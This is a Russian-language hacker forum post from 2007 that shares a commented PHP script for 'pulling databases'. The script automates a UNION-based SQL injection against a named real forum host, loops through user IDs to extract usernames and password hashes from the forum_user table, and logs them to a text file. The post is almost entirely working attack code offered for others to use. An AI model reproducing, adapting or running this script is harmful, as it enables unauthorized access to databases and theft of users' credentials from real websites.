Показать сообщение отдельно

  #40  
Старый 16.02.2007, 00:27
cRiLaZ
Новичок
Регистрация: 17.10.2006
Сообщений: 23
Провел на форуме:
144373

Репутация: 104
По умолчанию

надоели те, кто просит вытащить базу? Посылай их на... , тьфу ты сюда то есть.
Снабдил обильным количеством коментов, так что не надо стучать и просить переделать для Вас, лучше почитайте книжечку, это полезнее.
PHP код:
<?
/*************************************************
 *            15.02.2007 22:00-23:12             *
 *   супер пупер скрипт для вытаскивания баз     *
 *                                               *
 *                                               *
 *            (c)одед бай cRiLaZ                 *
 *              (GraBBerZ TeaM)                  *
 *                                               *
 *           Приват в МИР!!!!!!!!!               *
 *        протева закрытых сорцов ;)             *
 ************************************************/
/*конфиг*/
$host="forum.tomsk.ru"#хост
$how_much=4# скока раз повторять цикл
/*функция, пишущая в файл sql.txt*/
function input_into($text)
{
    
$a_file=fopen("./sql.txt","a+");
    
fputs($a_file,"$text");
    
fclose($a_file);
}
/*собсно цикл*/
for($q=1;$q<=$how_much;$q++)
{
    
/*сдесь все, что после хоста*/
    
$string_query="forum.php?a=24&user_id=-1+UNION+SELECT+1,CONCAT(CHAR(45,45,45),user_name,CHAR(45,45),user_pass,CHAR(45,45,45)),null,null,null,null,null,null,null,null+FROM+forum_user+WHERE+id=$q/* HTTP/1.0\n\n";
    
/*формируем запрос к серву, в разных скулях тут по разному нада поставить*/
    
$request ="GET http://".$host."/".$string_query." HTTP/1.1\n";
    
$request.="Host: ".$host."\n";
    
$request.="User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n";
    
$request.="Connection: keep-alive\n";
    
/*открываем сокет*/
    
$soket=fsockopen($host,80,$errno,$errstr,13); #13 )))
    
fwrite($soket,$request); #пишем в сокет
    
while(!feof($soket)){            #
            
$content.=fgets($soket);}#читаем
    
fclose($soket); #закрываем
    /*регулярка*/
    
ereg("(---(.*)---)",$content,$infa);
    
/*пишем в файл результаты*/
    
input_into("$q)".$infa[0]."\n");
    
/*обнуляем все, ваще то нада тока контент, но мы же примерные*/
    
$content="";
    
$params="";
    
$request="";
}

/*************************************************
 * а это для тех, кто в доспехах ;)
 * в общем регулярка думаю все понятно 
 * "---" - это начало и конец строки, 
 * "(.*)" - это любые значения. 
 * Т.е. в массив будет попадать все следующего вида 
 * "---login:pwd:mail---", если канешна в пассе, логине и т.д. нету "---".
 * Ну наверно все, скуль для испытаний я взял у [sql].
 * Просьба нащет орфографии не че не писать!!! 
 * Пешу так спициальна по своим соображениям! ;)
 ************************************************/
?>

Последний раз редактировалось cRiLaZ; 16.02.2007 в 00:30..
 
Ответить с цитированием